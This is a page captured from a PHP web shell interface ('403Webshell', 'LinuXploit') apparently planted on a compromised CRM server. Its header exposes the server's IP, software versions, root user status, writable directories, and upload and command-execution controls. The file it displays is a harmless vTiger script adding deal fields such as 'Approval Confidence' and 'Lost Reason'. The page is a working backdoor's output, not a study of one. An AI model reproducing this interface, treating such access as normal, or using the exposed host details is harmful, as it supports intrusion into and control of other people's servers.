403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/crest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/crest/add_field_deals.php
<?php

$Vtiger_Utils_Log = true;
include_once('vtlib/Vtiger/Menu.php');
include_once('vtlib/Vtiger/Module.php');

$moduleName='Potentials';
$moduleInstance = Vtiger_Module::getInstance('Potentials');
$block1 = Vtiger_Block::getInstance('LBL_OPPORTUNITY_INFORMATION', $moduleInstance);

$field1  = new Vtiger_Field();
$field1->name = 'approval_confidence';
$field1->label= ' Approval Confidence';
$field1->uitype= 9;
$field1->column = $field1->name;
$field1->columntype = 'decimal(5,2)';
$field1->typeofdata = 'N~O~2~2';
$block1->addField($field1);

$field2  = new Vtiger_Field();
$field2->name = 'bdp_id';
$field2->label= 'BDP ID';
$field2->uitype= 1;
$field2->column = $field2->name;
$field2->columntype = 'VARCHAR(24)';
$field2->typeofdata = 'V~O';
$block1->addField($field2);

$field3  = new Vtiger_Field();
$field3->name = 'deal_bd_start_date';
$field3->label= 'BD Start Date';
$field3->uitype= 6;
$field3->column = $field3->name;
$field3->columntype = 'VARCHAR(24)';
$field3->typeofdata = 'V~O';
$block1->addField($field3);

$field4  = new Vtiger_Field();
$field4->name = 'deal_bd_end_date';
$field4->label= 'BD End Date';
$field4->uitype= 6;
$field4->column = $field4->name;
$field4->columntype = 'VARCHAR(24)';
$field4->typeofdata = 'V~O';
$block1->addField($field4);

$field5 = new Vtiger_Field();
$field5->name = 'pipeline';
$field5->label= 'Pipeline';
$field5->uitype= 15;
$field5->column = $field5->name;
$field5->columntype = 'varchar(100)';
$field5->typeofdata = 'V~O~LE~100';
$field5->setPicklistValues( Array ('currently not available'));
$block1->addField($field5);

$field6 = new Vtiger_Field();
$field6->name = 'lost_reason';
$field6->label= 'Lost Reason';
$field6->uitype= 15;
$field6->column = $field6->name;
$field6->columntype = 'varchar(100)';
$field6->typeofdata = 'V~O~LE~100';
$field6->setPicklistValues( Array ('Price','Authority','Timing','Missing Features','Project Cancelled'));
$block1->addField($field6);

?>

Youez - 2016 - github.com/yon3zu
LinuXploit